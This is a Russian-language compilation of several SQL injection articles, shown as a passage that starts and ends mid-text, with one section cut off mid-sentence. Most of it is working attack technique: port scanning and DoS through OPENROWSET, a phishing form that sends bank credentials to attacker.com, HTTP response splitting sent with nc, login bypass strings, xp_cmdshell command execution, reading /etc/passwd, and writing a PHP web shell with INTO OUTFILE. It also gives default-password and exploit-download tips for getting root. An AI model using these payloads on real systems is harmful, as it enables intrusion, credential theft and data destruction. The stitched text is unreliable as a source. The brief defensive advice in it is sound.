master.dbo.sysdatabases'''
 

...и т.д.

Как только атакующий получил необходимый доступ к соединенному или удаленному серверу, он или она могла бы загрузить файл на сервер, используя методы упоминавшиеся ранее.

Сканирование портов

Используя описанный ранее метод, атакующий мог бы использовать SQL инъекцию для элементарного IP/порт сканирования внутренней сети или Интернета. Также, при использование SQL инъекции действительный IP адрес атакующего будет замаскирован.

После нахождения уязвимого (web) приложения, атакующий может использовать следующий SQL запрос:

 

select * from
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,80;timeout=5',
       'select * from table')
 

Этот запрос создаст исходящее соединение на адрес 10.0.0.123, используя 80-й порт. Анализируя сообщения об ошибке и время реакции, атакующий определяет, открыт порт или нет. Если порт закрыт, то по прошествии времени, определенного в параметре timeout (в секундах), будет отображено следующее сообщение:

 

SQL Server does not exist or access denied.
 

Если порт открыт, время ответа может быть менее установленного в параметре timeout (зависит от приложения использующего этот порт) и будет возвращено следующее сообщение об ошибке:

 

General network error. Check your network documentation.
или

OLE DB provider 'sqloledb' reported an error. The provider did not give any
information about the error.
 

Используя эту технику, нападающий сможет узнать об открытых портах на сканируемых хостах внутренней сети или Интернет. IP адрес атакующего будет скрыт потому, что соединение устанавливает захваченный SQL сервер. Очевидно, эта форма сканера портов немного сыра, но все же может быть эффективным инструментом для сканирования сети.

Другой возможный эффект такого сканера портов это DOS-атака. Рассмотрим следующий пример:

 

select * from
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,21;timeout=600',
       'select * from table')
 

Эта команда установит исходящее соединение на адрес 10.0.0.123, используя 21 порт, в течение 10 минут выполнится почти 1000 соединений к ftp сервису. Это происходит в результате того, что SQL сервер не может подключиться, но продолжает попытки в течение установленного в timeout времени. Эта атака могла бы быть проведена многократно для умножения эффекта.

Рекомендации

Главная рекомендация – убедиться в отсутствие уязвимостей SQL Injection. Это наиболее важная рекомендация, потому что даже если не удастся проделать трюки, описанные в этой статье, возможно, появится другой способ использовать уязвимости. Для предохранения от SQL инъекций рекомендуется использовать параметрические запросы и фильтровать ввод пользователя на наличие не буквенно-цифровых символов.

Наиболее правильный метод – придерживаться стандартов безопасного программирования при написании приложений. Если код приложения уже написан, необходимо провести аудит для обнаружения уязвимостей. Так же рекомендуется обратиться к некоторым средствам автоматизации, которые предназначены для обнаружения таких типов проблем.

Даже если Вы чувствуете, что закрыли все известные уязвимости, хорошим решением будет отключение неиспользуемых функциональных возможностей SQL сервера. Но только в том случае если эта функциональность действительно вам не нужна. К счастью, функции, которые мы хотим заблокировать используются не часто.

Вы должны запретить специальные запросы через OLEDB от SQL сервера. Возможность осуществления этих запросов контролируются установкой значения DisallowAdhocAccess в системном реестре.

Если вы пользуетесь именованными экземплярами (только в Microsoft SQL Server 2000), установите значение DisallowAdhocAccess=1 в каждой подветке ключа:

 

HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\
[Имя_экземпляра]\Providers.
 

Если вы используете экземпляр по умолчанию, установите значение DisallowAdhocAccess=1 в каждой подветке ключа:

 

HKEY_LOCAL_MACHINE\Software\MSSQLServer\MSSQLServer\Providers.
 

Проделайте следующие шаги, для того чтобы установить это значение:

1) Запустите редактор реестра (regedit.exe).
2) Найдите вышеуказанный ключ реестра.
3) Выберите первую подветку провайдера.
4) Выберите в меню Edit\New\DWORD Value.
5) Установите в качестве имени нового значения DisallowAdhocAccess.
6) Кликнете по этому имени и установите значение в 1.
7) Повторите эти действия для каждого провайдера.


Если вы параноик, вы можете установить ключи реестра в режим только для чтения, для того чтобы их нельзя было редактировать.

Так же очень важным является наложение патчей устраняющих ошибки в безопасности, необходимо делать это своевременно.

Для того чтобы быть в курсе новых уязвимостей Microsoft SQL Server, рекомендуется подписаться на список рассылки уведомлений AppSecInc:

http://www.appsecinc.com/resources/mailinglist.html

Последняя предосторожность, настройте и протестируйте брандмауэр так, чтобы он блокировал весь излишний исходящий трафик. Это поможет не только сохранить базу данных, но и улучшит безопасность сети в целом.

Вывод

То, что мы продемонстрировали в этом документе это небольшие возможности доступа, которые могут быть использованы для получения полного контроля над множеством серверов. SQL это универсальный язык. Не один здравомыслящий человек не позволит запускать произвольный код Си++ или Visual Basic на сервере. Тоже касается SQL. Ни один здравомыслящий человек не позволит слепо выполнить то, что ввел пользователь. Этот документ показывает почему это не должно случаться.

Microsoft SQL Server это мощный, гибкий и доступный сервер баз данных служащий основой для множества приложений. Исходя из этого факта, важно понимать, как SQL сервер может быть скомпрометирован, и тем более важно понимать, как этого можно избежать. SQL сервер это инструмент и если его использовать неправильно или небрежно в результате можно подвергнуть опасности не только данные, но и другие приложения в сети. Это означает, что мы должны серьезно подходить к обеспечению безопасности Microsoft SQL Server.

Введение

Насколько серьезной является уязвимость класса Sql Injection? Она может обеспечить доступ к информации на сервере, дать возможность выполнять произвольные команды, получить привилегии администратора на web-форуме и многое другое... Как правило эта уязвимость возникает на стороне сервера, но эту уязвимость можно использовать на стороне клиента. Общедоступные и “самописные” CMS (Content Management System – Системы Управления Содержимым сайта) широко используются по ряду причин; одна из таких причин – удобное управление текстовой информацией и ссылками. Этот документ рассказывает о паре альтернативных путей использования Sql Injection. Предположим, что мы разработчики CMS, и эта CMS используется банком... Предположим, что мы случайно оставили уязвимость Sql Injection на web-странице. Но подождите! Нет проблем! Конфигурация базы данных запрещает доступа к файлам и т.д.[1], нет конкретной информации относительно базы данных, нет web-форумов и нет ничего лишнего на сервере...

Всё же это может доставить некоторые проблемы...

XSS (Cross Site Scripting – Межсайтовый Скриптинг) атаки [2][3]

Фишинг

HTTP Response Spliting атаки
SiXSS – SQL инъекции для межсайтового скриптинга

Среда для тестирования

Предположим, имеется база данных и таблица подобная этой:

<code>

# The cms.sql file
CREATE DATABASE cms;
USE cms;
GRANT SELECT ON cms.* TO 'user_noprivs'@'localhost'

IDENTIFIED BY PASSWORD '';
CREATE TABLE content_table (

                             id INT PRIMARY KEY AUTO_INCREMENT,

                             content TEXT

                           );
INSERT INTO content_table (content) VALUES

                ('<h1>My Bank</h1>
                 <p><form action="check.php" method=post>

                 <table>

                   <tr>

                     <td>User:</td>

                     <td><input type="text" name="username"></td>
                   </tr>

                   <tr>

                     <td>Password:</td>

                     <td><input type="password" name="pass"></td>

                   </tr>
                   <tr>

                     <td><input type=submit value="LogIn"></td>

                   </tr>

                 </table>

                 </form>');
</code>
Также имеется php файл подобный этому (index.php):

<code>

<html>

  <head>

    <title>My Bank</title>
  </head>

  <body>

  <?

  if (@isset($_GET['id'])) {

     $myconns=@mysql_connect("127.0.0.1","user_noprivs","")

     or die ("sorry can't connect");

     @mysql_select_db("cms") or die ("sorry can`t select DB");

     $sql_query = @mysql_query(

        "select content from content_table where id=".$_GET['id'])

     or die("Sorry wrong SQL Query");

                                      // oops SQL Injection - ^

     while($tmp = @mysql_fetch_row($sql_query))

       echo $tmp[0]; //echos the result as HTML code

  } else {

       echo "<h1>Welcome to My Bank</h1> <a href="?id=1">Login</a>";

  }

  ?>
  </body>

</html>

</code>

Отметим, что запрос к MySQL ожидает получить текст, который будет отображен. Веб приложение анализирует контекст, в начале сеанса вы увидите такую страницу:



После того, как пользователь щёлкнет по ссылке “Login” страница будет такой:



Описание проблемы

Этот вид проблем возникает всегда, когда текст из базы данных выводится в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере и ничего более.

В таких случаях появляется возможность использовать уязвимости на стороне клиента. Использование UNION SELECT даёт возможность злоумышленнику выводить в окно браузера произвольный текст.
Реализация атаки

Давайте используем трюк для обмана опции gpc_magic_quotes установленной в On. Воспользуемся особенностью MySQL, позволяющей преобразовать шестнадцатеричные значения вида 0xXX в текст:

<code>

mysql> select HEX('<script>alert("SiXSS");</script>');
+------------------------------------------------------------------+

| HEX('<script>alert("SiXSS");</script>')                          |

+------------------------------------------------------------------+

| |

+------------------------------------------------------------------+
1 row in set (0.00 sec)
</code>

И поместим это в HTTP запрос:

http://www.mybank.com?id=1+union+select+0x3C7363726970743E
616C6572742822536958535322293B3C2F7363726970743E


И увидим ответ:



Это и есть SQL Injection for Cross Site Scripting.
Но что произойдет, если javascript отключен? Ничего.
Фишинг (The Phishing Attack)

Мы пришли к возможности использовать новую технику фишинга позволяющую внедрить произвольный HTML код. Это значит, что нет необходимости подделывать строку с адресом URL, закрывать её Text Box`ом, использовать две страницы показывающие Pop Up окна, не нужны Spyware и трояны[4].

Давайте используем тот же самый трюк для внедрения определенного html кода.

mysql> select HEX('<h1>My Bank</h1><p><form action="http://attacker.com/check.php" method=post><table><tr><td>User: </td><td><input type="text" name="username"></td></tr><tr><td>Password: </td><td><input type="password" name="pass"></td></tr><tr><td><input type=submit value="LogIn"></td></tr></table></form>');

Шестнадцатеричный код будет выглядеть так:


F74643E3C2F74723E3C2F7461626C653E3C2F666F726D3E


Этот код предает введенные значения полей на адрес http://attacker.com/check.php

Другая уловка должна использоваться для того, чтобы SELECT в исходном запросе всегда выдавал отрицательный результат. Добавим 'AND 1=3' и добавим в конец запроса наш UNION.

http://www.mybank.com?id=1+and+1%3d3+UNION+SELECT+0x3C68....

<html>
<head>
<title>My Bank</title>
</head>
<body>
<h1>My Bank</h1><p><form action="http://attacker.com/check.php" method=post><table><tr><td>User:</td><td><input type="text" name="username"></td></tr><tr><td>Password:</td><td><input type="password" name="pass"></td></tr><tr><td><input type=submit value="LogIn"></td></tr></table></form></p> </body>
</html>


Вместо реального HTML кода:

$ curl "http://www.mybank.com?id=1"

<html>
<head>
<title>My Bank</title>
</head>
<body>
<h1>My Bank</h1><p><form action="check.php" method=post><table><tr><td>User:</td><td><input type="text" name="username"></td></tr><tr><td>Password:</td><td><input type="password" name="pass"></td></tr><tr><td><input type=submit value="LogIn"></td></tr></table></form>
</body>
</html>


SiHRS – SQL инъекции для реализации атак HTTP Response Splitting

Среда для тестирования

В CMS или в рекламной системе может возникнуть необходимость в индексации адресов URL, запрос к базе данных должен возвращать URL по определенному id.

Создадим среду для успешного применения SiXSS, на этот раз это будет система перенаправления.

<code>

CREATE DATABASE url_db;

USE url_db;

GRANT SELECT ON url_db.* TO 'user2_nopriv'@'localhost'

IDENTIFIED BY PASSWORD '';

CREATE TABLE url_table (

                          id INT PRIMARY KEY AUTO_INCREMENT,

                          url TEXT

                       );

INSERT INTO url_table (url) VALUES

('https://brokerage.mybank.com/login.php');

</code>

для файла url_db.sql, и:

<code>

<?

if (isset($_GET['id'])) {

        $myconns = mysql_connect("127.0.0.1","user2_nopriv","")

 or die("sorry can`t connect");

        mysql_select_db("url_db") or

die("sorry can`t select DB");

        $sql_query = mysql_query("SELECT url from url_table

where id=".$_GET['id']." LIMIT 1") or die("sorry3)";

        $tmp = mysql_fetch_row($sql_query);

        header("Location: ".$tmp[0]);

} else

        header("Location: http://www.mybank.com/index.php");

?>

</code>

redir.php скрипт выполняющий перенаправление.

Это означает, что если сформировать запрос подобно этому:

$ curl “http://www.mybank.com/redir.php?id=1” -I

мы получим ответ, который переадресует нас к другой странице:

HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 21:08:03 GMT
Server: Apache-AdvancedExtranetServer/2.0.48 (Mandrake Linux/6.1.100mdk) mod_perl/1.99_11 Perl/v5.8.3 PHP/4.3.8 mod_ssl/2.0.48 OpenSSL/0.9.7c
X-Powered-By: PHP/4.3.8
Location: https://brokerage.mybank.com/login.php
Content-Type: text/html


Теоретически становится возможным выполнение атаки HTTP Response Splitting [5].
Описание проблемы

Этот вид проблем возникает всегда, когда есть определенный URL полученный из базы данных для перенаправления, используя поле 'Location' HTTP заголовка. SIHRS должен быть проверен при проведении испытания на проникновение также как и SiXSS, HTTP Response Splitting, XSS и Phishing.

Условия для проведения атаки могут быть ограничены как в примере с SiXSS, но должны быть удобны для использования UNION SELECT для внедрения классических строк, значение которых объясняется в [5].

Реализация атаки

Только ради исследования этой концепции давайте рассмотрим простейший пример атаки:

<code>

mysql> select HEX('index.php

    '> Content-Length: 0

    '>

    '> HTTP/1.1 200 OK

    '> Content-Type: text/html

    '> Content-Length: 19

    '>

    '> <html>Shazam</html>

    '> ');

</code>

Так это будет выглядеть в шестнадцатеричном коде:




Далее мы отсылаем отравленный запрос:

$ echo -ne "GET /redir.php?id=1+and+2%3d%34+union+select+0x
HTTP/1.1r


<code>

Host: www.mybank.comr

Pragma: no-cacher

Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, */*r

r

" |nc www.mybank.com 80
HTTP/1.1 302 Found

Date: Mon, 20 Sep 2004 22:58:21 GMT

Server: Apache PHP/4.3.8

X-Powered-By: PHP/4.3.8

Location: index.php

Content-Length: 0
HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19
<html>Shazam</html>
Content-Length: 0

Content-Type: text/html

</code>

Для понимания, как это может быть использовано, обратитесь к источнику [5].
Дополнение

Что случилось бы если вместо:

<code>

echo $tmp[0];     //выводит результат в виде HTML кода
</code>

в index.php был вызов функции 'eval()' ?

<code>

eval($tmp[0]);     //eval выполняет php код расположенный в базе данных..

</code>

На ум приходят страшные мысли..

Используя UNION SELECT мы можем выполнять любой php код, делая уязвимым сервер.

К счастью — это редко используемая техника для CMS, но, в конце концов, кто знает?

«Просто позвольте фантазии быть вашим кораблем в потоке сознания» ©...
Заключение

Мы показали, что случается, когда разработчики полагаются на хорошую конфигурацию сервера и уделяют меньше внимания безопасному программированию. Мы показали, что SQL инъекции даже в очень ограниченной среде могут таить в себе огромные уязвимости.

Для начала немного опишу саму технологию SQL, ведь тебе надо знать, что ты, собственно, будешь ломать.

Вообще база данных SQL представляет собой набор банальных таблиц, где каждая колонка содержит данные определенного типа. Этим типом может быть число, строка, текст до 64 килобайт и кучка промежуточных вещей, добавленных с целью максимально оптимизировать размеры некоторых баз данных. В UNIX БД MySQL представляет собой простой каталог с файлами таблиц. Почему все юзают столь простую базу? SQL славится скоростью и юзабельностью.

Ну, так вот, в SQL есть несколько основных команд работы с данными из базы - это SELECT, INSERT, UPDATE, DELETE, DROP. Признаком конца команды является точка с запятой. Опишем коротко каждую из основных команд.


SELECT
Функция: вывод данных из таблицы.
Синтаксис: SELECT <названия полей> FROM <название таблицы> WHERE <название поля>=<значение>;
Параметр WHERE не обязателен, а команда
SELECT * FROM users;
покажет все данные таблицы "users".
INSERT
Функция: ввод данных в таблицу.
Синтаксис: INSERT INTO <название таблицы> (<перечисление полей> ) VALUES (<значения полей> );
К примеру,
INSERT INTO users (login, password) VALUES ('hawker', 'qwerty');
вставит в таблицу "users" новую строку,
причем в столбике "login" будет значится "hawker", а в столбике "password" - "qwerty".
UPDATE
Функция: модификация данных в базе.
Синтаксис: UPDATE <название таблицы>
SET <название поля>=<значение поля>,..,<...>=<...> WHERE <название поля>=<значение поля>;
К примеру,
UPDATE users SET password='asdfg' WHERE login='hawker';
поменяет поле "password" в строке, добавленной выше.
DELETE
Функция: удаление данных из базы.
Синтаксис: DELETE FROM <название таблицы> WHERE <название поля>=<значение поля>;
К примеру,
DELETE FROM users WHERE login='hawker';
удалит строку, добавленную выше.
DROP
Функция: удаление таблицы.
Синтаксис: DROP TABLE <название таблицы>:
К примеру,
DROP TABLE users;
сотрет всю таблицу "users".

Плюс к описанным командам есть еще: "CREATE DATABASE <имя базы>;" - для создания новой базы данных, "USE <имя базы>;" - для переключения текущей базы данных и "GRANT <права> ON <имя базы>.<имя таблицы> TO <юзер>@<хост> IDENTIFIED BY 'пароль';" (к примеру, "GRANT all ON haxor.* TO hekker@localhost IDENTIFIED BY 'zloipass';" - добавит юзера "hekker" с паролем "zloipass" и всеми правами на базу данных "haxor").

Так, с основными командами мы познакомились. Теперь немного о том, где встречаются базы SQL. Вообще, сейчас популярно юзать MySQL + Perl или PHP. То есть в SQL хранятся какие-то данные, скажем, сообщения гостевухи или названия/URL порно-картинок, а Perl/PHP-скрипт обеспечивает доступ к имеющейся базе через Web. Туча народа активно юзает предложенную технологию, добавляя на своих сайтах SQL форумы, гостевухи, базы mp3-файлов. И, конечно, почти никто не задумывается о безопасности содеянного. Надо отметить, что доступ к базе данных SQL происходит после авторизации, для которой юзаются логин и пароль. К примеру, у MySQL эти данные хранятся в базе "mysql", таблице "users". У каждого юзера устанавливаются свои привилегии - что он может, а чего нет и в какой таблице/базе.
Самый простой способ
Некоторые извращенцы берут название таблицы прямо из URL. Ну, скажем, у чувака несколько форумов с разными названиями, для удобства он назвал таблицы в SQL, которые содержат мессаги форумов, также как сами форумы. Типа
http://blabla.ru/forum.php?forum=main выводит основной форум, а http://blabla.ru/ forum.php?forum=sex выводит форум для сексуально озабоченных. Параметр "forum", передаваемый из URL, в PHP/Perl-скрипте будет заноситься в переменную $forum. Таким образом, чувак везде в своих скриптах может писать что-то типа:

SELECT * FROM $forum;
DELETE FROM $forum WHERE id=5;


и так далее...

Проблема в том, что название таблицы обычно не проверяют на правильность. Тогда, если мы укажем в URL значение forum типа "main; DROP TABLE main; SELECT * FROM main", скрипт чувака может запустить команду:


SELECT * FROM main; DROP TABLE main; SELECT * FROM main;

Как видно, это не то, на что рассчитывал творец с самого начала. Таким же образом мы можем вывести таблицу с логинами и паролями форума (если таковые есть).

Опять же оператор DROP сработает только в том случае, если чувак настолько тупой, что не убрал право стирать таблицы у SQL-ного юзера, под которым юзается скрипт. Поверь мне, таких даунов не мало.
Заморочки
Описанный выше способ часто применим и для других параметров, передаваемых в URL. Переменные типа символа или строки чаще всего обособляют, ведь иначе SQL сервер заплачет, что ему неправильно параметр дали. Но вот числа передаются "как есть", и проверку, что это действительно числа, делают далеко не все. Обычная команда, вставляющая данные, полученные от юзера, выглядит так:


UPDATE <таблица> first_name='$fname', last_name='$lname', age=$age WHERE
id=<id юзера>;

Допустим, это у нас база юзеров какого-то тупого чата (и мы находимся в настройках), а также знаем, что там есть еще поле level, в котором содержится уровень привилегий, который, по дефолту, у юзверов, как несложно догадаться, "user", а у крутых и злых админов - "supervisor".

Параметр "age", являющийся числом, отдается SQL'у без обособления (как и название таблицы), а также не проверяется в скрипте на корректность. Следовательно, если мы скажем им, что age = "25, level='supervisor'", то их тупой скрипт обновления установок юзверя пошлет такую команду на SQL-сервер:


UPDATE <таблица> first_name='$fname', last_name='$lname', age=25,
level='supervisor' WHERE id=<id юзера>;

Оп-ля, мы получили уровень админа. Напомню, что параметры можно передавать из URL (http://blabla.ru/cgi-bin/ change.pl?first_name=...&last_name=...?age=...) или из HTML файла. В последнем случае потребуется сохранить нужную страничку у себя на диске. Затем отредактировать, просмотреть со своего винта и нажать "submit" (это сработает не везде, многие смотрят в поле http_referer и на cookies, которые, правда, тоже можно подделать .

Стандартные юзеры
В Microsoft SQL сервере для нас предусмотрели дефолтного юзера "sa" без пароля, а в MySQL сервере по дефолту идет "root" без пароля. Только законнектиться ты сможешь не на всякий сервер. MySQL обычно сидит на 3366 порту, а Microsoft SQL - на 1433-м. Проверь телнетом - открыт ли он :). Если да - собери у себя клиент (его можно бесплатно слить на
www.mysql.com) и попробуй проломиться на сервер под перечисленными выше аккаунтами. Кстати, в случае виндов Microsoft SQL обычно запускают под админом, и если там оставлен стандартный юзер, то ты можешь свободно слить http://www.securiteam.com/exploits/ 5YP0D003FQ.html (прогу на Visual C++ 6.0) и получить "командную строку" на сервере.

Получаем рута локально
Поиметь базу, безусловно, очень интересно (особенно если она с Credit Cards =), но еще интереснее захватить всю тачку. И специально для этого предусмотрительные кодеры SQL постоянно допускают всяческие ошибки :). Только тебе в большинстве случаев будет нужен shell-доступ к тачке, на которой крутиться SQL-сервер. Замечу, что у большинства админов MySQL запущен не под root'ом, т.е. так, что ты получишь доступ только к самой базе данных.

1. MySQL 3.20.32. Этот MySQL имеется локально (в смысле нужен shell-доступ), причем необходим клиент (обычно это "/usr/bin/mysql", может быть "/usr/local/bin/mysql"). Слей эксплоит с
http://www.hack.co.za/exploits/ daemon/sql/mysql.sh. Тебе потребуется рабочий аккаунт в базе, и если mysqld висит под root'ом - ты благополучно заполучишь тачку.

2. MS SQL 7.00.699. Можно убить Microsoft SQL рассматриваемой неудачной версии, причем удаленно. Проверь, открыт ли на тачке 1433 порт. Если SQL-сервер получит по этому порту в потоке TCP больше двух нулевых (NULL или


Объектом нашего внимания станут базы данных SQL которые активно используются для организации работы сложных Web приложений. Нашим заданием станет манипулирование SQL запросом. Вот небольшой пример...
Вы зашли на сайт, где требуется авторизация. Все, что от вас требуется это ввести правильный логин и пас. Но что делать, если таковых в наличии не имеется? Ту вступает в силу такой раздел, как SQL Injection. Допустим введенные данные проверяются таким SQL запросом:


$result=mysql_db_query($db,"SELECT * FROM $table WHERE user='$login' AND
pass='$password'");


$num_rows=mysql_num_rows($result);

mysql_close($link);



if ($num_rows!=0)

   { // AUTHENTICATION OK }
else


   { // AUTHENTICATION ERROR }

(пример взят с пятого уровня NGSec Game)

Когда мы вводим данные то наш SQL запрос будет иметь такой вид:


SELECT * FROM users WHERE user='admin' AND pass='admin'

Где "admin" введенный логин, а "admin" пароль. Как вы думаете что произойдет, если ввести имя пользователя например "adm'in". Давайте посмотрим какой запрос получится на этот раз...

SELECT * FROM users WHERE user='adm'in' AND pass='admin'

На этот раз мы получим сообщение об ошибке, что-то вроде этого

Server: Msg 170, Level


15, State 1, Line 1
Line 1: Incorrect syntax near 'in'.


Значит все ок, данный скрпт не проверяет входные данные. А теперь немного логики и мы имеем такое условие:

if ((true=false) or (true=true)) then ..

Это условие будет всегда

верным. А что если в запросе место логина ввести такую шнягу "admin' or ' '=' '-

-", где "--" означает конец запроса? Получится вот что:

SELECT * FROM


users WHERE user='admin' or ' '=' '--AND pass='admin'

Oh no! Мы вошли не зная ни пароля, ни логина :). Прикол в том что вот какой запрос у нас вышел: если логин admin есть в базе данных или пробел равен пробелу, тогда авторизация прошла успешно, ни о каком пароле речь не идет, так как на этом запрос считается оконченным :)

Надеюсь все понятно? А теперь немного дикой практики... Если ввести логин "admin'; drop table $table--" то мы удалим базу данных. Но все не так просто. А если ее название хранится в ругой переменной или прописано в самом коде, что тогда? Надо узнать имя БД... Чтобы продолжить будем анализировать ODBC сообщения об ошибках, приступим... Введем логин " ' having 1=1--" на что сервер обругается где-то так:


Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC


SQL Server Driver][SQL Server]
Column 'users.status' is invalid in the


select list because it is not contained
in an aggregate function and there


is no GROUP BY clause.

Теперь нам известно, что имя базы данных "users", а первая колонка называется "status". Неплохо, тоесть снести все нахрен мы уже сможем :), но давайте попробуем добавить себя в базу данных, чтобы потом не парится. Но чтобы себя добавить нам надо знать количество и название полей. Давайте введем такое чудо:

" ' group by users.id having

1=1--"

Получим вот что:

Column 'users.username' is invalid in the select list because it is not contained in

either an aggregate function or the GROUP BY clause.

Значит нам теперь известно второе поле, дальше... набиваем:

" ' group by users.status, users.username having

1=1--"

и так последовательно узнаем все поля, до тех пор пока в ответ мы не получим ошибки. Допустим это получилось и

" ' group by users.status,

users.username, users.password, users.mail having 1=1--"

не вызвало ошибок. Отлично! Значит все поля это status, username, password и mail. Но теперь мы должны узнать тип используемый для каждого поля. Введем место логина такое:

" ' union select sum(username) from users--"

и что мы видим? А вот что :

The sum or average aggregate operation cannot take a

varchar data type as an argument.

А значит это что username это varchar, то бишь строка. Теперь набиваем:

" ' union select sum(status) from

users--".

Смотрим на результат:

All queries in an SQL statement containing a UNION operator must have an

equal number of expressions in their target lists.



           
Это значит что поле status - число. Все теперь добавляем


себя, пишем вместо логина



           
" '; insert into users values( 0, 'xakep',


'g00r00', '[email protected]')--"



           
Вс,

считайте дело сделано. Но и это еще не все! Мы можем исполнять команды. Делается

это так:



           
" '; exec master..xp_cmdshell 'ping 127.0.0.1' --".



           
Но


результатов мы не увидим. Что делать? Можно написать следующее:



           
" '; EXEC


master..sp_makewebtask "127.0.0.1dataresult.html",

"SELECT * FROM INFORMATION_SCHEMA.TABLES" ".



           
Где 127.0.0.1 IP компьютера с расшареной папкой data. Это не все возможности, это основы.


Все остальное по этой теме можно найти в инете. Как избежать этого? Смотри пример на ASP:



           
function validatepassword( input )
good_password_chars



=""



validatepassword = true
for i = 1 to len( input )
        c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
    validatepassword = false
    exit function
end if
 next



            end function

SQL инъекция в сервере MySQL

SQL injection - уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений, в скрипте или программе. Я буду рассматривать инъекции в MySQL базе данных. Эта база данных является одной из самых распространенных. Если не оговорено отдельно, то считается, mysql инъекция возможна в php скрипте.

Выявление наличия SQL инъекции.

Зачастую, о наличии SQL инъекции могут сказать ошибки, явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в SQL запросе можно судить и по косвенным признакам.

Для проверки, полностью фильтруется некоторый параметр или нет, передаем несколько измененные значения этого параметра. Например, вместо http://site/test.php?id=12 передаем.

http://site/test.php?id=12'

http://site/test.php?id=aaa

http://site/test.php?id=13-1

Если последний запрос выдает страницу, аналогичную, как и http://site/test.php?id=12, это в большинстве случаев может однозначно свидетельствовать о наличии SQL инъекции в не фильтруемом целом параметре.

Анализ БД через MySQL инъекцию.

И так, допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12

Наличие подробных сообщениях об ошибках, с текстом SQL запроса, в котором произошла ошибка сведет трудность эксплуатации SQL инъекции к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.

Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно все равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).

В частности, возможна ситуации, когда при ошибке, возвращается код ответа 500, или редирект на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.

Для того, чтобы выявить эти второстепенные признаки, следует составить http запросы, про которые известно, который приведет к правильному (но возвращающему пустой вывод) SQL запросу, и который приведет к неверному SQL запросу. Например, при не фильтруемом параметре id

http://site/test.php?id=99999, вероятно, будет возвращен пустой sql запрос, в то время, как

http://site/test.php?id=99999' должен породить ошибку.

Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и базе данных.

Рассмотрим случай, когда иньекция происходит после where. Если мы рассматриваем MySQL базу данных, то получение информации из базы данных может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union

1) количество полей между select и where

Пробуем последовательно, пока не получим верный запрос:

http://site/test.php?id=99999+union+select+null/*

http://site/test.php?id=99999+union+select+null,null/*

более, того, если не имеется возможность отделить неверный запрос от возвратившего пустой результат, можно сделать так:

http://site/test.php?id=12+union+select+null/*

http://site/test.php?id=12+union+select+null,null/*

Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL инъекции.

После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where

2) номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу.

При этом, если выводиться на страницу несколько параметров, то лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text лучше всего), как например, описание товара, текст статьи и тд. Ищем его:

http://site/test.php?id=9999+union+select+'test',null,null/*

http://site/test.php?id=9999+union+select+null,'test',null/*

И до тех пор, пока не увидим слово test в нужном нам месте.

Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.

Тут можно наткнутся на подводный камень: в скрипте, возможно имеется проверка на не пустоту одного из параметров (например, id) тут придется воспользоваться свойством MySQL, числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение.

http://site/test.php?id=9999+union+select+1,2,3/*

Этот же фокус пройдет и там, где кавычки экранируются.

Открытие комментария добавлена для того, чтобы отбросить, остальную часть запроса, если она имеется. MySQL нормально реагирует на незакрытый комментарий.

3) имена таблиц

Теперь можно перебирать имена таблиц.

http://site/test.php?id=12+union+select+null,null,null+from+table1/*

Правильные запросы будут соответствовать существующим именам таблиц. Наверно, интересно будет проверить на существование таблиц users, passwords, regusers и тд и тп.

4)системная информация

у нас уже достаточно информации чтобы составить такой запрос.

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

В случае, если имеются права на select из базы данных mysql, то этот запрос вернет нам хеш пароля, который в большинстве случаев легко расшифруется. Если выводиться только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/*

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

Кроме того можно узнать много интересного:

http://site/test.php?id=9999+union+select+null,DATABASE(),null/*

http://site/test.php?id=9999+union+select+null,USER(),null/*

http://site/test.php?id=9999+union+select+null,VERSION(),null/*

5) названия столбцов в таблице

Их аналогично, можно перебрать: http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* и тд.

текст файлов через MySQL инъекцию.

Если пользователь, под которым осуществляется доступ к бд, имеет права file_priv, то можно получить текст произвольного файла

http://site/test.php?id=9999+union+select+null,LOAD_FILE('/etc/passwd'),null/*

запись файлов в веб директорию (php shell).

Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и тд.), а так же знаем имя хотя бы одной таблицы (mysql.user, например сойдет, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа.

http://site/test.php?id=9999+union+select+null,'',null+from+table1+into+outfile+'/usr/local/site/www/banners/cmd.php'/*

При этом конструкция from table1 обязательна.

Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например в директорию /tmp/, и затем подцепить этот файл оттуда при помощи уязвимости в include.

инъекция после limit.

